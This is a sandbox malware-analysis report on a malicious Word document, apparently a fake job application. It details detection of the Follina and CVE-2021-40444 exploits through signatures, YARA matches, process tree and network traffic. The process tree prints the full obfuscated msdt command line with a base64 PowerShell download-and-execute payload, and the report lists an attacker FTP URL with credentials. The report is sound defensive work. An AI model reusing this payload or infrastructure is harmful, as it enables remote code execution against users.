Edit tour

Windows Analysis Report
Bewerbung.docx

Overview

General Information

Sample Name:	Bewerbung.docx
Analysis ID:	705530
MD5:	e7521cc41970a93d81eb7db063563474
SHA1:	668afe1cf1ff3a6b8b9f9b0ceaa81549944bffc2
SHA256:	d28398402e0b64cfb6e1f8e28cc21584eddd159690c2dab80aafae9c79201ae0
Infos:

Detection

CVE-2021-40444, Follina CVE-2022-30190

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Antivirus / Scanner detection for submitted sample

Yara detected Microsoft Office Exploit Follina CVE-2022-30190

Detected CVE-2021-40444 exploit

Antivirus detection for dropped file

Connects to many ports of the same IP (likely port scanning)

Contains an external reference to another file

Document exploit detected (process start blacklist hit)

Queries the volume information (name, serial number etc) of a device

Yara signature match

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Internet Provider seen in connection with other malware

Found dropped PE file which has not been started or loaded

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

PE file does not import any functions

Potential document exploit detected (unknown TCP traffic)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Drops PE files to the windows directory (C:\Windows)

Detected TCP or UDP traffic on non-standard ports

Uses FTP

Compiles C# or VB.Net code

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

WINWORD.EXE (PID: 976 cmdline: "C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE" /Automation -Embedding MD5: 0B9AB9B9C4DE429473D6450D4297A123)

MSOSYNC.EXE (PID: 4768 cmdline: C:\Program Files (x86)\Microsoft Office\Office16\MsoSync.exe MD5: EA19F4A0D18162BE3A0C8DAD249ADE8C)

msdt.exe (PID: 5588 cmdline: C:\Windows\system32\msdt.exe" ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'W05ldC5TZXJ2aWNlUG9pbnRNYW5hZ2VyXTo6U2VjdXJpdHlQcm90b2NvbCA9IFtOZXQuU2VjdXJpdHlQcm90b2NvbFR5cGVdJ1RsczExLFRsczEyJzsgJCgkeCA9IEludm9rZS1XZWJSZXF1ZXN0IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9taWNyb3NvZnR3aW5kb3dzZGVmZW5kZXIvLmNvbS9tYWluL3Bvd2VyLnBzMSAtVXNlQmFzaWNQYXJzaW5nOyBJbnZva2UtRXhwcmVzc2lvbiAkKCR4LkNvbnRlbnQpKTs='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO MD5: 7F0C51DBA69B9DE5DDF6AA04CE3A69F4)

csc.exe (PID: 204 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2cyagvwu\2cyagvwu.cmdline MD5: 350C52F71BDED7B99668585C15D70EEA)

cvtres.exe (PID: 388 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6A8A.tmp" "c:\Users\user\AppData\Local\Temp\2cyagvwu\CSC8D8C47D5CCF542F2A6978E3AB92620A2.TMP" MD5: C09985AE74F0882F208D75DE27770DFA)

csc.exe (PID: 5716 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1ps51w3p\1ps51w3p.cmdline MD5: 350C52F71BDED7B99668585C15D70EEA)

cvtres.exe (PID: 5484 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7E41.tmp" "c:\Users\user\AppData\Local\Temp\1ps51w3p\CSCA2F7DC4713240A6A1FCA0F064ADC74.TMP" MD5: C09985AE74F0882F208D75DE27770DFA)

csc.exe (PID: 4616 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ufpm0sbx\ufpm0sbx.cmdline MD5: 350C52F71BDED7B99668585C15D70EEA)

cvtres.exe (PID: 3612 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESAB6C.tmp" "c:\Users\user\AppData\Local\Temp\ufpm0sbx\CSCFD12017F98C74F3CA9A85B7B52106DF8.TMP" MD5: C09985AE74F0882F208D75DE27770DFA)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
document.xml.rels	SUSP_Doc_WordXMLRels_May22	Detects a suspicious pattern in docx document.xml.rels file as seen in CVE-2022-30190 / Follina exploitation	Tobias Michalski, Christian Burkard, Wojciech Cieslak	0x39:$a1: <Relationships 0x44f:$a2: TargetMode="External" 0x3ec:$x1: .html!

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	SUSP_PS1_Msdt_Execution_May22	Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation	Nasreddine Bencherchali, Christian Burkard	0x40b3e:$a: PCWDiagnostic 0x44753:$a: PCWDiagnostic 0x47f09:$a: PCWDiagnostic 0x40b32:$sa3: ms-msdt 0x44747:$sa3: ms-msdt 0x47efd:$sa3: ms-msdt 0x40b92:$sb3: IT_BrowseForFile= 0x447a7:$sb3: IT_BrowseForFile= 0x47f5d:$sb3: IT_BrowseForFile=
dump.pcap	JoeSecurity_Follina	Yara detected Microsoft Office Exploit Follina / CVE-2022-30190	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\smartscreen[1].html	SUSP_PS1_Msdt_Execution_May22	Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation	Nasreddine Bencherchali, Christian Burkard	0x179c:$a: PCWDiagnostic 0x1790:$sa3: ms-msdt 0x17f0:$sb3: IT_BrowseForFile=
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\smartscreen[1].html	EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22	Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / Follina exploitation	Tobias Michalski, Christian Burkard	0x177f:$re1: location.href = "ms-msdt:
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\smartscreen[1].html	JoeSecurity_Follina	Yara detected Microsoft Office Exploit Follina / CVE-2022-30190	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\EEF783FD.html	SUSP_PS1_Msdt_Execution_May22	Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation	Nasreddine Bencherchali, Christian Burkard	0x179c:$a: PCWDiagnostic 0x1790:$sa3: ms-msdt 0x17f0:$sb3: IT_BrowseForFile=
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\EEF783FD.html	EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22	Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / Follina exploitation	Tobias Michalski, Christian Burkard	0x177f:$re1: location.href = "ms-msdt:
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\EEF783FD.html	JoeSecurity_Follina	Yara detected Microsoft Office Exploit Follina / CVE-2022-30190	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\smartscreen[1].html	SUSP_PS1_Msdt_Execution_May22	Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation	Nasreddine Bencherchali, Christian Burkard	0x179c:$a: PCWDiagnostic 0x1790:$sa3: ms-msdt 0x17f0:$sb3: IT_BrowseForFile=
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\smartscreen[1].html	EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22	Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / Follina exploitation	Tobias Michalski, Christian Burkard	0x177f:$re1: location.href = "ms-msdt:
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\smartscreen[1].html	JoeSecurity_Follina	Yara detected Microsoft Office Exploit Follina / CVE-2022-30190	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\7E5730EC.html	SUSP_PS1_Msdt_Execution_May22	Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation	Nasreddine Bencherchali, Christian Burkard	0x179c:$a: PCWDiagnostic 0x1790:$sa3: ms-msdt 0x17f0:$sb3: IT_BrowseForFile=
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\7E5730EC.html	EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22	Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / Follina exploitation	Tobias Michalski, Christian Burkard	0x177f:$re1: location.href = "ms-msdt:
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\7E5730EC.html	JoeSecurity_Follina	Yara detected Microsoft Office Exploit Follina / CVE-2022-30190	Joe Security
Click to see the 7 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.612793085.00000000039F0000.00000004.00000020.00020000.00000000.sdmp	SUSP_PS1_Msdt_Execution_May22	Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation	Nasreddine Bencherchali, Christian Burkard	0x28b2:$a: PCWDiagnostic 0x2888:$sa1: msdt.exe 0x289a:$sa3: ms-msdt 0x2956:$sb3: IT_BrowseForFile=
00000002.00000002.612793085.00000000039F0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Follina	Yara detected Microsoft Office Exploit Follina / CVE-2022-30190	Joe Security
00000002.00000002.610336977.0000000003320000.00000004.00000020.00020000.00000000.sdmp	SUSP_PS1_Msdt_Execution_May22	Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation	Nasreddine Bencherchali, Christian Burkard	0x2338:$a: PCWDiagnostic 0x22d0:$sa1: msdt.exe 0x230c:$sa1: msdt.exe 0x28f0:$sa1: msdt.exe 0x2320:$sa3: ms-msdt 0x23de:$sb3: IT_BrowseForFile=
00000002.00000002.610336977.0000000003320000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Follina	Yara detected Microsoft Office Exploit Follina / CVE-2022-30190	Joe Security
00000002.00000002.610475144.0000000003678000.00000004.00000020.00020000.00000000.sdmp	SUSP_PS1_Msdt_Execution_May22	Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation	Nasreddine Bencherchali, Christian Burkard	0x386e:$a: PCWDiagnostic 0x9c86:$a: PCWDiagnostic 0x162dc:$a: PCWDiagnostic 0x2b74:$sa1: msdt.exe 0x9278:$sa1: msdt.exe 0x18e36:$sa1: msdt.exe 0x26c62:$sb3: IT_BrowseForFile=
00000002.00000002.610430089.0000000003670000.00000004.00000020.00020000.00000000.sdmp	SUSP_PS1_Msdt_Execution_May22	Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation	Nasreddine Bencherchali, Christian Burkard	0x1cec:$a: PCWDiagnostic 0x39eb:$a: PCWDiagnostic 0x1c84:$sa1: msdt.exe 0x1cc0:$sa1: msdt.exe 0x22a4:$sa1: msdt.exe 0x39d5:$sa1: msdt.exe 0x1cd4:$sa3: ms-msdt 0x39df:$sa3: ms-msdt 0x1d92:$sb3: IT_BrowseForFile= 0x3a3e:$sb3: IT_BrowseForFile=
00000002.00000002.610430089.0000000003670000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Follina	Yara detected Microsoft Office Exploit Follina / CVE-2022-30190	Joe Security
Process Memory Space: msdt.exe PID: 5588	SUSP_PS1_Msdt_Execution_May22	Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation	Nasreddine Bencherchali, Christian Burkard	0xd011:$a: PCWDiagnostic 0x2167:$sa1: msdt.exe 0x2170:$sa1: msdt.exe 0x2178:$sa1: msdt.exe 0x2180:$sa1: msdt.exe 0x79c3:$sa1: msdt.exe 0xcfde:$sa1: msdt.exe 0xcffb:$sa1: msdt.exe 0xd2ec:$sa1: msdt.exe 0x17af6:$sa1: msdt.exe 0x17afe:$sa1: msdt.exe 0x17b08:$sa1: msdt.exe 0x1989c:$sa1: msdt.exe 0x1c852:$sa1: msdt.exe 0x1f522:$sa1: msdt.exe 0x2e103:$sa1: msdt.exe 0x310ee:$sa1: msdt.exe 0x79cb:$sa3: ms-msdt 0xd005:$sa3: ms-msdt 0x7a24:$sb3: IT_BrowseForFile= 0xd064:$sb3: IT_BrowseForFile=
Click to see the 3 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: Bewerbung.docx	ReversingLabs: Detection: 20%
Source: Bewerbung.docx	Virustotal: Detection: 9%			Perma Link

Antivirus / Scanner detection for submitted sample

Source: Bewerbung.docx

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\smartscreen[1].html	Avira: detection malicious, Label: JS/CVE-2022-30190.G
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\7E5730EC.html	Avira: detection malicious, Label: JS/CVE-2022-30190.G
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\smartscreen[1].html	Avira: detection malicious, Label: JS/CVE-2022-30190.G
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\EEF783FD.html	Avira: detection malicious, Label: JS/CVE-2022-30190.G

Exploits

Yara detected Microsoft Office Exploit Follina CVE-2022-30190

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000002.00000002.612793085.00000000039F0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.610336977.0000000003320000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.610430089.0000000003670000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\smartscreen[1].html, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\EEF783FD.html, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\smartscreen[1].html, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\7E5730EC.html, type: DROPPED

Detected CVE-2021-40444 exploit

Source: document.xml.rels

Extracted files from sample: mhtml:ftp://epiz_32622638:9ptise0wwbczj@185.27.134.11/wwwwwwwwwwwwwwwwwwww/smartscreen.html!x-usc:ftp://epiz_32622638:9ptise0wwbczj@185.27.134.11/wwwwwwwwwwwwwwwwwwww/smartscreen.html

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

Process created: C:\Windows\SysWOW64\msdt.exe

Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49708
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49708
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49708
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49708
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49708
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49709 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49709
Source: global traffic	TCP traffic: 192.168.2.4:49709 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49709
Source: global traffic	TCP traffic: 192.168.2.4:49709 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49709 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49709
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49709
Source: global traffic	TCP traffic: 192.168.2.4:49709 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49709 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49709
Source: global traffic	TCP traffic: 192.168.2.4:49709 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49709 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49709
Source: global traffic	TCP traffic: 192.168.2.4:49709 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49709 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49709
Source: global traffic	TCP traffic: 192.168.2.4:49709 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49710 -> 185.27.134.11:19273
Source: global traffic	TCP traffic: 185.27.134.11:19273 -> 192.168.2.4:49710
Source: global traffic	TCP traffic: 192.168.2.4:49710 -> 185.27.134.11:19273
Source: global traffic	TCP traffic: 192.168.2.4:49709 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49709
Source: global traffic	TCP traffic: 192.168.2.4:49709 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49709 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49709
Source: global traffic	TCP traffic: 185.27.134.11:19273 -> 192.168.2.4:49710
Source: global traffic	TCP traffic: 185.27.134.11:19273 -> 192.168.2.4:49710
Source: global traffic	TCP traffic: 185.27.134.11:19273 -> 192.168.2.4:49710
Source: global traffic	TCP traffic: 192.168.2.4:49709 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:19273 -> 192.168.2.4:49710
Source: global traffic	TCP traffic: 192.168.2.4:49710 -> 185.27.134.11:19273
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49709
Source: global traffic	TCP traffic: 192.168.2.4:49710 -> 185.27.134.11:19273
Source: global traffic	TCP traffic: 192.168.2.4:49710 -> 185.27.134.11:19273
Source: global traffic	TCP traffic: 185.27.134.11:19273 -> 192.168.2.4:49710
Source: global traffic	TCP traffic: 192.168.2.4:49709 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:19273 -> 192.168.2.4:49710
Source: global traffic	TCP traffic: 192.168.2.4:49710 -> 185.27.134.11:19273
Source: global traffic	TCP traffic: 185.27.134.11:19273 -> 192.168.2.4:49710
Source: global traffic	TCP traffic: 192.168.2.4:49710 -> 185.27.134.11:19273
Source: global traffic	TCP traffic: 192.168.2.4:49710 -> 185.27.134.11:19273
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49708
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49708
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49708
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49708
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49708
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49708
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49710 -> 185.27.134.11:19273
Source: global traffic	TCP traffic: 192.168.2.4:49712 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:19273 -> 192.168.2.4:49710
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49712
Source: global traffic	TCP traffic: 192.168.2.4:49712 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49712
Source: global traffic	TCP traffic: 192.168.2.4:49712 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49712 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49712
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49712
Source: global traffic	TCP traffic: 192.168.2.4:49712 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49712 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49712
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49712
Source: global traffic	TCP traffic: 192.168.2.4:49712 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49712 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49712
Source: global traffic	TCP traffic: 192.168.2.4:49712 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49712
Source: global traffic	TCP traffic: 192.168.2.4:49712 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49713 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49713
Source: global traffic	TCP traffic: 192.168.2.4:49713 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49713
Source: global traffic	TCP traffic: 192.168.2.4:49713 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49713 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49713
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49713
Source: global traffic	TCP traffic: 192.168.2.4:49713 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49713 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49713
Source: global traffic	TCP traffic: 192.168.2.4:49713 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49713 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49713
Source: global traffic	TCP traffic: 192.168.2.4:49713 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49713 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49713
Source: global traffic	TCP traffic: 192.168.2.4:49713 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49714 -> 185.27.134.11:30737
Source: global traffic	TCP traffic: 185.27.134.11:30737 -> 192.168.2.4:49714
Source: global traffic	TCP traffic: 192.168.2.4:49714 -> 185.27.134.11:30737
Source: global traffic	TCP traffic: 192.168.2.4:49713 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49713
Source: global traffic	TCP traffic: 192.168.2.4:49713 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49713 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49713
Source: global traffic	TCP traffic: 185.27.134.11:30737 -> 192.168.2.4:49714
Source: global traffic	TCP traffic: 192.168.2.4:49713 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:30737 -> 192.168.2.4:49714
Source: global traffic	TCP traffic: 192.168.2.4:49714 -> 185.27.134.11:30737
Source: global traffic	TCP traffic: 185.27.134.11:30737 -> 192.168.2.4:49714
Source: global traffic	TCP traffic: 192.168.2.4:49714 -> 185.27.134.11:30737
Source: global traffic	TCP traffic: 185.27.134.11:30737 -> 192.168.2.4:49714
Source: global traffic	TCP traffic: 192.168.2.4:49714 -> 185.27.134.11:30737
Source: global traffic	TCP traffic: 185.27.134.11:30737 -> 192.168.2.4:49714
Source: global traffic	TCP traffic: 192.168.2.4:49714 -> 185.27.134.11:30737
Source: global traffic	TCP traffic: 185.27.134.11:30737 -> 192.168.2.4:49714
Source: global traffic	TCP traffic: 185.27.134.11:30737 -> 192.168.2.4:49714
Source: global traffic	TCP traffic: 192.168.2.4:49714 -> 185.27.134.11:30737
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49713
Source: global traffic	TCP traffic: 192.168.2.4:49714 -> 185.27.134.11:30737
Source: global traffic	TCP traffic: 192.168.2.4:49714 -> 185.27.134.11:30737
Source: global traffic	TCP traffic: 192.168.2.4:49713 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49708
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49708
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49708
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49708
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49708
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49708
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49714 -> 185.27.134.11:30737
Source: global traffic	TCP traffic: 192.168.2.4:49716 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:30737 -> 192.168.2.4:49714
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49716
Source: global traffic	TCP traffic: 192.168.2.4:49716 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49716
Source: global traffic	TCP traffic: 192.168.2.4:49716 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49716 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49716
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49716
Source: global traffic	TCP traffic: 192.168.2.4:49716 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49716 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49716
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49716
Source: global traffic	TCP traffic: 192.168.2.4:49716 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49716 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49716
Source: global traffic	TCP traffic: 192.168.2.4:49716 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49716
Source: global traffic	TCP traffic: 192.168.2.4:49716 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49717 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49717
